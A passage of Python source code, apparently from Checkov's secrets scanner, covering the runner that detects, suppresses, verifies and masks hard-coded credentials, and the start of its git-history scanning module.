corrupted (empty) plugin mapping, resulting in 0 findings. This implementation never clears get_settings() from the LRU cache. Instead it modifies the Settings singleton in-place and only clears the dependent caches (get_plugins, get_filters, get_mapping_from_secret_type_to_class). The lock is held only for microseconds during setup and teardown — never during the actual scan — so there is no performance impact. Pre-warming: after reconfiguring, we call get_mapping_from_secret_type_to_class() and get_plugins() while still holding the lock. This populates both LRU caches with the correct plugin set before any inner worker thread can observe them. Without pre-warming, inner threads race to rebuild the caches concurrently after the lock is released — Python's @lru_cache is not thread-safe for concurrent cache misses, so two threads can simultaneously enter the function body and one can overwrite the other's result with a corrupted (empty) mapping. """ with _detect_secrets_settings_lock: settings = get_settings() original_plugins = deepcopy(dict(settings.plugins)) original_filters = deepcopy(dict(settings.filters)) # Clear ONLY the dependent caches — NOT get_settings itself. # This is the key difference from the original transient_settings: # the singleton object is never evicted from the LRU cache. get_plugins.cache_clear() get_filters.cache_clear() get_mapping_from_secret_type_to_class.cache_clear() settings.clear() configure_settings_from_baseline(config) # Pre-warm both caches while the lock is still held so that inner # worker threads spawned by parallel_runner always get cache hits # during the scan phase and never need to rebuild the mapping. # Without this, concurrent cache misses in @lru_cache (not thread-safe) # can produce a corrupted empty mapping → TypeError → 0 findings. mapping = get_mapping_from_secret_type_to_class() plugins = get_plugins() logging.debug( f"_thread_safe_transient_settings (with pre-warming): settings_id={id(settings)} plugins_count={len(plugins)} mapping_count={len(mapping)} thread={__import__('threading').current_thread().name}") # Lock released — scan runs freely here with warm, stable caches try: yield settings finally: with _detect_secrets_settings_lock: get_plugins.cache_clear() get_filters.cache_clear() get_mapping_from_secret_type_to_class.cache_clear() settings.plugins = original_plugins settings.filters = original_filters def should_filter_vault_secret(secret_value: str, check_id: str) -> bool: return 'vault:' in secret_value.lower() and check_id in ENTROPY_CHECK_IDS def _get_secret_suppressions_ids() -> List[str]: secret_suppressions_ids: list[str] = [] if bc_integration.customer_run_config_response: suppressions = bc_integration.customer_run_config_response.get('suppressions', []) if suppressions: secret_suppressions_ids = [ suppression['policyId'] for suppression in suppressions if suppression['suppressionType'] == 'SecretsPolicy' or suppression['suppressionType'] == 'Policy' ] logging.info(f'The secret_suppressions_ids are: {secret_suppressions_ids}') return secret_suppressions_ids def _find_files_from_root_folder(root_folder: str, runner_filter: RunnerFilter) -> List[str]: files_to_scan: List[str] = [] excluded_paths = (runner_filter.excluded_paths or []) + EXCLUDED_PATHS enable_secret_scan_all_files = runner_filter.enable_secret_scan_all_files block_list_secret_scan = runner_filter.block_list_secret_scan or [] block_list_secret_scan_lower = [file_type.lower() for file_type in block_list_secret_scan] for root, d_names, f_names in os.walk(root_folder): if enable_secret_scan_all_files: # 'excluded_paths' shouldn't include the static paths from 'EXCLUDED_PATHS' # they are separately referenced inside the 'filter_excluded_paths' function filter_excluded_paths( root_dir=root, names=d_names, excluded_paths=runner_filter.excluded_paths) filter_excluded_paths( root_dir=root, names=f_names, excluded_paths=runner_filter.excluded_paths) else: filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: if enable_secret_scan_all_files: if is_dockerfile(file): if 'dockerfile' not in block_list_secret_scan_lower: files_to_scan.append(os.path.join(root, file)) elif f".{file.split('.')[-1]}" not in block_list_secret_scan_lower and file not in block_list_secret_scan_lower: files_to_scan.append(os.path.join(root, file)) elif file not in PROHIBITED_FILES and f".{file.split('.')[-1]}" in SUPPORTED_FILE_EXTENSIONS or is_dockerfile( file): files_to_scan.append(os.path.join(root, file)) logging.info(f'Secrets scanning will scan {len(files_to_scan)} files') return files_to_scan def _cleanup_plugin_files( work_path: str, amount: int, dir_obj: Optional[tempfile.TemporaryDirectory[Any]] = None ) -> None: if dir_obj is not None: logging.info(f"Cleanup the whole temp directory: {work_path}") dir_obj.cleanup() return for index in range(1, amount): try: os.remove(f"{work_path}/runnable_plugin_{index}.py") logging.info(f"Removed runnable plugin at index {index}") except Exception as e: logging.info(f"Failed removing file at index {index} due to: {e}") class Runner(BaseRunner[None, None, None]): check_type = CheckType.SECRETS # noqa: CCE003 # a static attribute def __init__( self, file_extensions: Iterable[str] | None = None, file_names: Iterable[str] | None = None, entropy_limit: Optional[float] = None): super().__init__(file_extensions, file_names) self.commits_to_scan: Optional[List[Commit]] = None self.secrets_coordinator = SecretsCoordinator() self.history_secret_store = GitHistorySecretStore() self.entropy_limit = entropy_limit or float(os.getenv('CHECKOV_ENTROPY_KEYWORD_LIMIT', '3')) def set_history_secret_store(self, value: Dict[str, List[EnrichedPotentialSecret]]) -> None: self.history_secret_store.secrets_by_file_value_type = value def get_history_secret_store(self) -> Dict[str, List[EnrichedPotentialSecret]]: return self.history_secret_store.secrets_by_file_value_type def _get_plugins_used(self) -> Tuple[List[Dict[str, Any]], Callable[[], None]]: work_dir_obj = None work_path_optional = os.getenv('WORKDIR') if work_path_optional is None: work_dir_obj = tempfile.TemporaryDirectory() work_path = work_dir_obj.name else: work_path = work_path_optional # load runnable plugins current_dir = Path(__file__).parent plugins_used: List[Dict[str, Any]] = [ {'name': 'AWSKeyDetector'}, {'name': 'ArtifactoryDetector'}, {'name': 'AzureStorageKeyDetector'}, {'name': 'BasicAuthDetector'}, {'name': 'CloudantDetector'}, {'name': 'IbmCloudIamDetector'}, {'name': 'IbmCosHmacDetector'}, {'name': 'JwtTokenDetector'}, {'name': 'MailchimpDetector'}, {'name': 'NpmDetector'}, {'name': 'PrivateKeyDetector'}, {'name': 'SlackDetector'}, {'name': 'SoftlayerDetector'}, {'name': 'SquareOAuthDetector'}, {'name': 'StripeDetector'}, {'name': 'TwilioKeyDetector'}, {'name': 'EntropyKeywordCombinator', 'path': f'file://{current_dir}/plugins/entropy_keyword_combinator.py', 'entropy_limit': self.entropy_limit} ] plugins_index = 0 if bc_integration.customer_run_config_response: policies_list = bc_integration.customer_run_config_response.get('secretsPolicies', []) if policies_list: runnable_plugins: dict[str, str] = get_runnable_plugins(policies_list) logging.debug(f"Found {len(runnable_plugins)} runnable plugins") if len(runnable_plugins) > 0: plugins_index += 1 for name, runnable_plugin in runnable_plugins.items(): f = open(f"{work_path}/runnable_plugin_{plugins_index}.py", "w") f.write(runnable_plugin) f.close() plugins_used.append({ 'name': name.replace(' ', ''), 'path': f'file://{work_path}/runnable_plugin_{plugins_index}.py' }) plugins_index += 1 logging.debug(f"Loaded runnable plugin {name}") # load internal regex detectors detector_path = f"{current_dir}/plugins/custom_regex_detector.py" logging.info(f"Custom detector found at {detector_path}. Loading...") plugins_used.append({ 'name': 'CustomRegexDetector', 'path': f'file://{detector_path}' }) return plugins_used, lambda: _cleanup_plugin_files(work_path, plugins_index, work_dir_obj) def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report: runner_filter = runner_filter or RunnerFilter() secrets = SecretsCollection() plugins_used, cleanupFn = self._get_plugins_used() secret_suppressions_ids = _get_secret_suppressions_ids() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() # Implement non IaC files (including .terraform dir) files_to_scan = files or [] self._add_custom_detectors_to_metadata_integration() git_history_scanner = None if runner_filter.enable_git_history_secret_scan: git_history_scanner = GitHistoryScanner(str(root_folder), secrets, self.history_secret_store, runner_filter.git_history_timeout) with _thread_safe_transient_settings({ # Only run scans with only these plugins. 'plugins_used': plugins_used }) as settings: if root_folder: if runner_filter.enable_git_history_secret_scan and git_history_scanner is not None: settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file']) git_history_scanner.scan_history(last_commit_scanned=runner_filter.git_history_last_commit_scanned, commits_to_scan=self.commits_to_scan) logging.info(f'Secrets scanning git history for root folder {root_folder}') else: files_to_scan += _find_files_from_root_folder(root_folder, runner_filter) settings.disable_filters(*['detect_secrets.filters.heuristic.is_indirect_reference']) settings.disable_filters(*['detect_secrets.filters.heuristic.is_potential_uuid']) if not runner_filter.enable_git_history_secret_scan: self.pbar.initiate(len(files_to_scan)) self._scan_files(files_to_scan, secrets, self.pbar) self.pbar.close() history_store = None if runner_filter.enable_git_history_secret_scan and git_history_scanner is not None: history_store = git_history_scanner.history_store return self.get_report(secrets=secrets, runner_filter=runner_filter, history_store=history_store, root_folder=root_folder, secret_suppressions_ids=secret_suppressions_ids, cleanupFn=cleanupFn) def get_report(self, secrets: SecretsCollection, runner_filter: RunnerFilter, history_store: Optional[GitHistorySecretStore], root_folder: Optional[str], secret_suppressions_ids: List[str], cleanupFn: Any, use_secret_filename: Optional[bool] = False) -> Report: report = Report(self.check_type) secret_records: dict[str, SecretsRecord] = {} secrets_in_uuid_form = ['CKV_SECRET_116', 'CKV_SECRET_49', 'CKV_SECRET_48', 'CKV_SECRET_40', 'CKV_SECRET_30'] secret_key_by_line_to_secrets = defaultdict(list) for key, secret in secrets: secret_key_by_line_to_secrets[(key, secret.line_number)].append(secret) # If same line contains both Random High Entropy & Base64 High Entropy, only the Random one remains. # https://jira-dc.paloaltonetworks.com/browse/BCE-42547 for secret_file_and_line_key, secrets_by_line in secret_key_by_line_to_secrets.items(): if not any([s.check_id == RANDOM_HIGH_ENTROPY_CHECK_ID for s in secrets_by_line]): continue # Save resource id as we will need it for later entropy_secret = None _file_key = secret_file_and_line_key[0] for s in secrets_by_line: if SECRET_TYPE_TO_ID.get(s.type) == BASE64_HIGH_ENTROPY_CHECK_ID and entropy_secret is not None: s.secret_value = entropy_secret if s.check_id == RANDOM_HIGH_ENTROPY_CHECK_ID and BASE64_HIGH_ENTROPY_CHECK_ID in [SECRET_TYPE_TO_ID.get(i.type) for i in secrets_by_line]: try: entropy_secret = s.secret_value if s.secret_value else None secrets[_file_key].remove(s) except KeyError: pass for key, secret in secrets: check_id = secret.check_id if secret.check_id else SECRET_TYPE_TO_ID.get(secret.type) if not check_id: logging.debug(f'Secret was filtered - no check_id for line_number {secret.line_number}') continue if secret.secret_value and should_filter_vault_secret(secret.secret_value, check_id): logging.debug(f'Secret was filtered - this is a vault reference: {secret.secret_value}') continue secret_key = f'{key}_{secret.line_number}_{secret.secret_hash}' # secret history added_commit_hash, removed_commit_hash, code_line, added_by, removed_date, added_date = '', '', '', '', '', '' if runner_filter.enable_git_history_secret_scan and history_store is not None: enriched_potential_secret = history_store.get_added_and_removed_commit_hash(key, secret, root_folder) added_commit_hash = enriched_potential_secret.get('added_commit_hash') or '' removed_commit_hash = enriched_potential_secret.get('removed_commit_hash') or '' code_line = enriched_potential_secret.get('code_line') or '' added_by = enriched_potential_secret.get('added_by') or '' removed_date = enriched_potential_secret.get('removed_date') or '' added_date = enriched_potential_secret.get('added_date') or '' # run over secret key if isinstance(secret.secret_value, str) and secret.secret_value: stripped = secret.secret_value.strip(',";\'') if stripped != secret.secret_value: secret_key = f'{key}_{secret.line_number}_{PotentialSecret.hash_secret(stripped)}' if secret.secret_value and is_potential_uuid( secret.secret_value) and secret.check_id not in secrets_in_uuid_form: logging.info( f"Removing secret due to UUID filtering: {PotentialSecret.hash_secret(secret.secret_value)}") continue bc_check_id = metadata_integration.get_bc_id(check_id) if bc_check_id in secret_suppressions_ids: logging.debug(f'Secret was filtered - check {check_id} was suppressed') continue severity = metadata_integration.get_severity(check_id) if not runner_filter.should_run_check(check_id=check_id, bc_check_id=bc_check_id, severity=severity, report_type=CheckType.SECRETS): logging.debug( f'Check was suppress - should_run_check. check_id {check_id}') continue if secret_key in secret_records.keys(): is_prioritise = self._prioritise_secrets(secret_records, secret_key, check_id) if not is_prioritise: continue result: _CheckResult = {'result': CheckResult.FAILED} try: if runner_filter.enable_git_history_secret_scan and code_line is not None: line_text = code_line else: line_text = linecache.getline(secret.filename, secret.line_number) except SyntaxError as e: # If encoding is a problem, this is probably not human-readable source code # hence there's no need in flagging this secret logging.info(f'Failed to log secret {secret.type} for file {secret.filename} because of {e}') continue if line_text and line_text.startswith('git_commit'): continue result = self.search_for_suppression( check_id=check_id, bc_check_id=bc_check_id, severity=severity, secret=secret, runner_filter=runner_filter, root_folder=root_folder ) or result relative_file_path = f'/{os.path.relpath(secret.filename, root_folder)}' if use_secret_filename: relative_file_path = f'/{secret.filename}' resource = f'{relative_file_path}:{added_commit_hash}:{secret.secret_hash}' if added_commit_hash else f'{relative_file_path}:{secret.secret_hash}' report.add_resource(resource) # 'secret.secret_value' can actually be 'None', but only when 'PotentialSecret' was created # via 'load_secret_from_dict' self.save_secret_to_coordinator( secret.secret_value, bc_check_id, check_id, resource, secret.line_number, result ) secret_key_by_line = (key, secret.line_number) line_text_censored = line_text for sec in secret_key_by_line_to_secrets[secret_key_by_line]: secret_value = cast(str, sec.secret_value) if secret_value: secret_value = secret_value.strip('"\'') # We should always strip quotes from matches before we search for them in the line (because of this line quoted_mm = f"'{mm}'" in custom_regex_detector.py) line_text_censored = omit_secret_value_from_line(secret_value, line_text_censored) secret_records[secret_key] = SecretsRecord( check_id=check_id, bc_check_id=bc_check_id, severity=severity, check_name=secret.type, check_result=result, code_block=[(secret.line_number, line_text_censored)], file_path=relative_file_path, file_line_range=[secret.line_number, secret.line_number + 1], resource=f'{added_commit_hash}:{secret.secret_hash}' if added_commit_hash else secret.secret_hash, check_class="", evaluations=None, file_abs_path=os.path.abspath(secret.filename), validation_status=ValidationStatus.UNAVAILABLE.value, added_commit_hash=added_commit_hash, removed_commit_hash=removed_commit_hash, added_by=added_by, removed_date=removed_date, added_date=added_date ) for _, v in secret_records.items(): report.add_record(v) enriched_secrets_s3_path = bc_integration.persist_enriched_secrets(self.secrets_coordinator.get_secrets()) if enriched_secrets_s3_path: self.verify_secrets(report, enriched_secrets_s3_path) logging.debug(f'report fail checks len: {len(report.failed_checks)}') if cleanupFn is not None: cleanupFn() if runner_filter.skip_invalid_secrets: self._modify_invalid_secrets_check_result_to_skipped(report) return report @staticmethod def _prioritise_secrets(secret_records: Dict[str, SecretsRecord], secret_key: str, check_id: str) -> bool: if secret_records[secret_key].check_id in ENTROPY_CHECK_IDS and check_id not in ENTROPY_CHECK_IDS: secret_records.pop(secret_key) return True if secret_records[secret_key].check_id in GENERIC_PRIVATE_KEY_CHECK_IDS: if check_id not in GENERIC_PRIVATE_KEY_CHECK_IDS | ENTROPY_CHECK_IDS: secret_records.pop(secret_key) return True if secret_records[secret_key].check_id == GENERIC_AWS_CHECK_ID and check_id in SPECIFIC_AWS_CHECK_IDS: secret_records.pop(secret_key) return True return False @staticmethod def _scan_files(files_to_scan: list[str], secrets: SecretsCollection, pbar: ProgressBar) -> None: # implemented the scan function like secrets.scan_files base_path = secrets.root items = [ (file, base_path) for file in files_to_scan ] results = parallel_runner.run_function(func=Runner._safe_scan, items=items) for filename, secrets_results in results: pbar.set_additional_data({'Current File Scanned': str(filename)}) for secret in secrets_results: secrets[os.path.relpath(secret.filename, base_path)].add(secret) pbar.update() @staticmethod def _prepare_scan_file(full_file_path: str) -> Optional[str]: """Check if a file has build log prefixes and prepare a stripped version for scanning. Build log files often have timestamps/log-level prefixes on each line that break multiline secret detection (e.g., private keys split across prefixed log lines). This method detects such prefixes and creates a temporary file with the prefixes stripped, so all detectors can match secrets that span multiple log lines. Returns: path to the temp file if created (caller must clean up), or None """ stripped_content = create_stripped_content(full_file_path) if not stripped_content: return None logging.debug(f'Detected log prefixes in {full_file_path}, scanning with prefixes stripped') try: _, ext = os.path.splitext(full_file_path) with tempfile.NamedTemporaryFile( mode='w', suffix=ext, delete=False ) as tmp_file: tmp_file.write(stripped_content) return tmp_file.name except Exception as e: logging.debug(f'Failed to create stripped temp file for {full_file_path}: {e}') return None @staticmethod def _safe_scan(file_path: str, base_path: str) -> tuple[str, list[PotentialSecret]]: try: full_file_path = os.path.join(base_path, file_path) file_size = os.path.getsize(full_file_path) if file_size > MAX_FILE_SIZE > 0: logging.info( f'Skipping secret scanning on {full_file_path} due to file size. To scan this file for ' 'secrets, run this command again with the environment variable "CHECKOV_MAX_FILE_SIZE" ' f'to 0 or {file_size + 1}' ) return file_path, [] start_time = datetime.datetime.now() tmp_file_path = Runner._prepare_scan_file(full_file_path) scan_file_path = tmp_file_path or full_file_path try: file_results = [*scan.scan_file(scan_file_path)] # If we scanned a temp file, map results back to the original file path if tmp_file_path is not None: for secret in file_results: secret.filename = full_file_path logging.debug(f'file {full_file_path} results len {len(file_results)}') finally: if tmp_file_path is not None: try: os.remove(tmp_file_path) except OSError: logging.warning(f"Failed to remove temp file: {tmp_file_path}") end_time = datetime.datetime.now() run_time = end_time - start_time if run_time > datetime.timedelta(seconds=10): logging.info(f'Secret scanning for {full_file_path} took {run_time} seconds') return file_path, file_results except Exception as e: logging.warning(f"Secret scanning: could not process file {full_file_path}") logging.debug(e, exc_info=True) return file_path, [] @staticmethod def search_for_suppression( check_id: str, bc_check_id: str, severity: Severity | None, secret: PotentialSecret, runner_filter: RunnerFilter, root_folder: str | None ) -> _CheckResult | None: if not runner_filter.should_run_check( check_id=check_id, bc_check_id=bc_check_id, severity=severity, report_type=CheckType.SECRETS, file_origin_paths=[secret.filename], root_folder=root_folder ) and check_id in CHECK_ID_TO_SECRET_TYPE.keys(): return { "result": CheckResult.SKIPPED, "suppress_comment": f"Secret scan {check_id} is skipped" } # Check for suppression comment in the line before, the line of, and the line after the secret for line_number in [secret.line_number, secret.line_number - 1, secret.line_number + 1]: lt = linecache.getline(secret.filename, line_number) skip_search = re.search(COMMENT_REGEX, lt) if skip_search and (skip_search.group(2) == check_id or skip_search.group(2) == bc_check_id): comment: str = skip_search.group(3)[1:] if skip_search.group(3) else "No comment provided" return { "result": CheckResult.SKIPPED, "suppress_comment": comment } # Metadata suppression check try: secret_file_path = os.path.join(root_folder, secret.filename) if root_folder else secret.filename parser = ContextParser(secret_file_path) # Parse the file for metadata resource_config = getattr(secret, "resource_config", None) if resource_config is None and secret_file_path.endswith((".json", ".yml", ".yaml")): try: import json import yaml with open(secret_file_path, "r", encoding="utf-8") as f: content = f.read() if secret_file_path.endswith(".json"): resource_config = json.loads(content) else: resource_config = yaml.safe_load(content) if not isinstance(resource_config, (dict, list)): resource_config = None except Exception: resource_config = None suppressions = parser.collect_skip_comments(resource_config=resource_config) metadata_suppressions = [s for s in suppressions if s.get("line_number") is None] for suppression in metadata_suppressions: if suppression["id"] == check_id or suppression.get("bc_id") == bc_check_id: return { "result": CheckResult.SKIPPED, "suppress_comment": suppression.get("suppress_comment", "No comment provided") } except Exception as e: logging.debug(f"Metadata suppression check failed for file {secret.filename}: {e}") return None def save_secret_to_coordinator( self, secret_value: Optional[str], bc_check_id: str, check_id: str, resource: str, line_number: int, result: _CheckResult ) -> None: if result.get('result') == CheckResult.FAILED and secret_value is not None: enriched_secret = EnrichedSecret( original_secret=secret_value, bc_check_id=bc_check_id, check_id=check_id, resource=resource, line_number=line_number ) self.secrets_coordinator.add_secret(enriched_secret=enriched_secret) @time_it def verify_secrets(self, report: Report, enriched_secrets_s3_path: str) -> VerifySecretsResult: if not bc_integration.bc_api_key: logging.debug('Secrets verification is available only with a valid API key') return VerifySecretsResult.INSUFFICIENT_PARAMS if bc_integration.skip_download: logging.debug('Skipping secrets verification as flag skip-download was specified') return VerifySecretsResult.INSUFFICIENT_PARAMS validate_secrets_tenant_config = None if bc_integration.customer_run_config_response is not None: validate_secrets_tenant_config = bc_integration.customer_run_config_response.get( 'tenantConfig', {}).get('secretsValidate') if validate_secrets_tenant_config is None and not convert_str_to_bool(os.getenv("CKV_VALIDATE_SECRETS", False)): logging.debug('Secrets verification is off, enable it via code configuration screen') return VerifySecretsResult.INSUFFICIENT_PARAMS if validate_secrets_tenant_config is False: logging.debug('Secrets verification is off, enable it via code configuration screen') return VerifySecretsResult.INSUFFICIENT_PARAMS request_body = { "reportS3Path": enriched_secrets_s3_path } response = None try: response = request_wrapper( "POST", f"{bc_integration.api_url}/api/v1/secrets/reportVerification", headers=bc_integration.get_default_headers("POST"), json=request_body, should_call_raise_for_status=True, log_json_body=False ) except Exception: logging.error('Failed to perform secrets verification', exc_info=True) if not response: return VerifySecretsResult.FAILURE verification_report_presigned_url = response.json().get('verificationReportSignedUrl') if not verification_report_presigned_url: logging.error("Response is missing verificationReportSignedUrl key, aborting") return VerifySecretsResult.FAILURE verification_report = self.get_json_verification_report(verification_report_presigned_url) if not verification_report: return VerifySecretsResult.FAILURE validation_status_by_check_id_and_resource = {} for validation_status_entity in verification_report: if not all(required_key in validation_status_entity.keys() for required_key in ["violationId", "resourceId", "status"]): logging.debug(f"{validation_status_entity} does not have all required keys, skipping") continue key = f'{validation_status_entity["violationId"]}_{validation_status_entity["resourceId"]}' validation_status_by_check_id_and_resource[key] = validation_status_entity['status'] logging.debug( f'secrets verification api returned with {len(validation_status_by_check_id_and_resource.keys())} unique entries') for secrets_record in report.failed_checks: if hasattr(secrets_record, "validation_status"): key = f'{secrets_record.bc_check_id}_{secrets_record.file_path}:{secrets_record.resource}' secrets_record.validation_status = validation_status_by_check_id_and_resource.get(key) if secrets_record.validation_status is None: logging.debug(f'Failed to find verification status of {key}, setting by default to Unknown') secrets_record.validation_status = ValidationStatus.UNAVAILABLE.value return VerifySecretsResult.SUCCESS @staticmethod def get_json_verification_report(presigned_url: str) -> list[dict[str, str]] | None: response = None try: response = requests.get(url=presigned_url, timeout=DEFAULT_TIMEOUT) except Exception: logging.error('Unable to download verification report') return response.json() if response else None @staticmethod def _add_custom_detectors_to_metadata_integration() -> None: customer_run_config_response = bc_integration.customer_run_config_response policies_list: List[dict[str, Any]] = [] if customer_run_config_response: policies_list = customer_run_config_response.get('secretsPolicies', []) for policy in policies_list: if policy.get('isCustom', False): check_id = policy['incidentId'] guideline = policy.get('guideline', '') severity = policy.get('severity', '') metadata_integration.check_metadata[check_id] = {'id': check_id, 'guideline': guideline, 'severity': severity} @staticmethod def _modify_invalid_secrets_check_result_to_skipped(report: Report) -> None: checks_indexes_moved_to_skipped: list[int] = [] for check_index, check in enumerate(report.failed_checks): if hasattr(check, 'validation_status') and check.validation_status == ValidationStatus.INVALID.value: check.check_result["result"] = CheckResult.SKIPPED check.check_result["suppress_comment"] = "Skipped invalid secret" report.skipped_checks.append(check) checks_indexes_moved_to_skipped.append(check_index) for idx in sorted(checks_indexes_moved_to_skipped, reverse=True): try: del report.failed_checks[idx] except Exception: logging.error(f"Failed to remove suppressed secrets violations from failed_checks, report is corrupted." f"Tried to delete entry {idx} from failed_checks of length {len(report.failed_checks)}", exc_info=True) def mask_files(self, root_folder: str | None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None) -> None: """ get files or/and root_folder and masking and replace automatically all the secrets found there note: the changes are inplace """ runner_filter = runner_filter or RunnerFilter() plugins_used, cleanupFn = self._get_plugins_used() files_to_scan = files or [] if root_folder: files_to_scan += _find_files_from_root_folder(root_folder, runner_filter) self._add_custom_detectors_to_metadata_integration() secrets = SecretsCollection() with _thread_safe_transient_settings({ # Only run scans with only these plugins. 'plugins_used': plugins_used }) as settings: settings.disable_filters(*['detect_secrets.filters.heuristic.is_indirect_reference']) settings.disable_filters(*['detect_secrets.filters.heuristic.is_potential_uuid']) self._scan_files(files_to_scan, secrets, self.pbar) for file in files_to_scan: with open(file, "r+") as f: content = f.read() f.seek(0) for _key, secret in secrets: if not secret.secret_value: continue check_id = secret.check_id if secret.check_id else SECRET_TYPE_TO_ID.get(secret.type) if not check_id: logging.debug(f'Secret was filtered - no check_id for line_number {secret.line_number}') continue if secret.secret_value and should_filter_vault_secret(secret.secret_value, check_id): logging.debug(f'Secret was filtered - this is a vault reference: {secret.secret_value}') continue content = content.replace(secret.secret_value, masking_value(secret.secret_value)) f.write(content) f.truncate() logging.info(f"finish replacing {len(files_to_scan)} files") def masking_value(secret: str) -> str: secret_len_to_expose = min(len(secret) // 4, 6) return f'{secret[:secret_len_to_expose]}{"*" * GENERIC_OBFUSCATION_LENGTH}' ================================================ FILE: checkov/secrets/scan_git_history.py ================================================ from __future__ import annotations import hashlib import logging import os import platform from typing import TYPE_CHECKING, Optional, List, Tuple, Union from detect_secrets.core import scan from checkov.common.util.stopit import ThreadingTimeout, SignalTimeout, TimeoutException from checkov.common.util.decorators import time_it from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.secrets.consts import GIT_HISTORY_NOT_BEEN_REMOVED from checkov.secrets.git_history_store import GitHistorySecretStore, RawStore, RENAME_STR, FILE_RESULTS_STR from checkov.secrets.git_types import Commit, CommitMetadata, PROHIBITED_FILES if TYPE_CHECKING: from detect_secrets import SecretsCollection os.environ["GIT_PYTHON_REFRESH"] = "quiet" try: from git import Repo, Tree git_import_error = None except ImportError as e: git_import_error = e MIN_SPLIT = 100 FILES_TO_IGNORE_IN_GIT_HISTORY = ('.md', '.svg', '.png', '.jpg') + PROHIBITED_FILES class GitHistoryScanner: commits_count = 0 # noqa: CCE003 def __init__(self, root_folder: str, secrets: SecretsCollection, history_store: Optional[GitHistorySecretStore] = None, timeout: int = 43200): """ root_folder: Is necessary for initializing the Repo to read from secrets: An object which will be filled with secrets during the run of the secrets scan history_store: A helper objects which will be field during the run, to map between found secrets and commits. is not used afterwards for outside-of-class work """ self.root_folder = root_folder self.secrets = secrets self.timeout = timeout # in case we start from mid-history (git) we want to continue from where we've been self.history_store: GitHistorySecretStore = history_store or GitHistorySecretStore() self.raw_store: List[RawStore] = [] self.repo: Repo # Initialize repo attribute with None def scan_history(self, last_commit_scanned: Optional[str] = '', commits_to_scan: Optional[List[Commit]] = None) -> bool: """return true if the scan finished without timeout""" if not commits_to_scan: is_repo_set = self.set_repo() # for mocking purposes in testing if not is_repo_set: logging.info("Couldn't set git repo. Cannot proceed with git history scan.") return False timeout_class = ThreadingTimeout if platform.system() == 'Windows' else SignalTimeout # mark the scan to finish within the timeout with timeout_class(self.timeout) as to_ctx_mgr: scanned = self._scan_history(last_commit_scanned, commits_to_scan) self._create_secret_collection() if to_ctx_mgr.state == to_ctx_mgr.TIMED_OUT: logging.info(f"timeout reached ({self.timeout}), stopping scan.") return False # else: everything was OK return scanned @time_it def _scan_history(self, last_commit_scanned: Optional[str] = '', commits_to_scan: Optional[List[Commit]] = None) -> bool: commits_diff = self.get_commits(last_commit_scanned) if not commits_to_scan else commits_to_scan logging.info(f"[_scan_history] got {len(commits_diff)} files diffs in {self.commits_count} commits") if self.commits_count > MIN_SPLIT: logging.info("[_scan_history] starting parallel scan") self._run_scan_parallel(commits_diff) else: logging.info("[_scan_history] starting single scan") self.raw_store.extend(self._run_scan_one_bulk(commits_diff)) if not self.raw_store: # scanned nothing return False self._process_raw_store() return True def get_commits(self, last_commit_scanned: Optional[str] = '') -> List[Commit]: commits_diff: List[Commit] = [] if not last_commit_scanned: first_commit_diff = get_first_commit(self.repo, self.root_folder) if first_commit_diff: commits_diff.append(first_commit_diff) commits_diff.extend(self._get_commits_diff(last_commit_sha=last_commit_scanned)) return commits_diff def _process_raw_store(self) -> None: for raw_res in self.raw_store: res_type = raw_res.get('type') if res_type == FILE_RESULTS_STR: self.history_store.set_secret_map(raw_res.get('file_results', []), raw_res.get('file_name', ''), raw_res['commit']) elif res_type == RENAME_STR: self.history_store.handle_renamed_file(raw_res.get('rename_from', ''), raw_res.get('rename_to', ''), raw_res['commit']) def _create_secret_collection(self) -> None: # run over the entire history store and create the secret collection for secrets_data in self.history_store.secrets_by_file_value_type.values(): for secret_data in secrets_data: removed = secret_data["removed_commit_hash"] if secret_data[ "removed_commit_hash"] else GIT_HISTORY_NOT_BEEN_REMOVED key = f'{secret_data["added_commit_hash"]}_{removed}_{secret_data["potential_secret"].filename}' self.secrets[key].add(secret_data["potential_secret"]) logging.info(f"Created secret collection for {len(self.history_store.secrets_by_file_value_type)} secrets") def set_repo(self, root_folder: str | None = None) -> bool: if not root_folder: root_folder = self.root_folder if git_import_error is not None: logging.warning(f"Unable to load git module (is the git executable available?) {git_import_error}") return False try: self.repo = Repo(root_folder) return True except Exception as e: logging.error(f"Folder {root_folder} is not a GIT project {e}") return False def _get_commits_diff(self, last_commit_sha: Optional[str] = None) -> List[Commit]: """ :param: last_commit_sha = is the last commit we have already scanned. in case it exist the function will return the commits from the revision of param to the current head """ logging.info("[_get_commits_diff] started") if last_commit_sha: curr_rev = self.repo.head.commit.hexsha commits = list(self.repo.iter_commits(last_commit_sha + '..' + curr_rev)) else: commits = list(self.repo.iter_commits(self.repo.active_branch)) GitHistoryScanner.commits_count = len(commits) commits_diff: List[Commit] = [] for previous_commit_idx in range(GitHistoryScanner.commits_count - 1, 0, -1): try: current_commit_idx = previous_commit_idx - 1 current_commit_hash = commits[current_commit_idx].hexsha committed_datetime: str = commits[current_commit_idx].committed_datetime.isoformat() committer: str = commits[current_commit_idx].committer.name or '' git_diff = commits[previous_commit_idx].diff(current_commit_hash, create_patch=True) curr_diff: Commit = Commit( metadata=CommitMetadata( commit_hash=current_commit_hash, committer=committer, committed_datetime=committed_datetime ) ) for file_diff in git_diff: file_name: str = file_diff.a_path if file_diff.a_path else file_diff.b_path # type:ignore if file_name.endswith(FILES_TO_IGNORE_IN_GIT_HISTORY): continue file_path = os.path.join(self.root_folder, file_name) if file_diff.renamed_file: logging.debug(f"File was renamed from {file_diff.rename_from} to {file_diff.rename_to}") curr_diff.rename_file( file_path=file_path, prev_filename=file_diff.rename_from or "", new_filename=file_diff.rename_to or "" ) continue elif file_diff.deleted_file: logging.debug(f"File {file_diff.a_path} was deleted") base_diff_format = f'diff --git {self.root_folder}/{file_diff.a_path} {self.root_folder}/{file_diff.b_path}' \ f'\nindex 0000..0000 0000\n--- {self.root_folder}/{file_diff.a_path}\n+++ {self.root_folder}/{file_diff.b_path}\n' curr_diff.add_file(filename=file_path, commit_diff=base_diff_format + get_decoded_diff(file_diff.diff)) if not curr_diff.is_empty(): commits_diff.append(curr_diff) except TimeoutException: logging.error(f"stopped while getting commits diff, iteration: 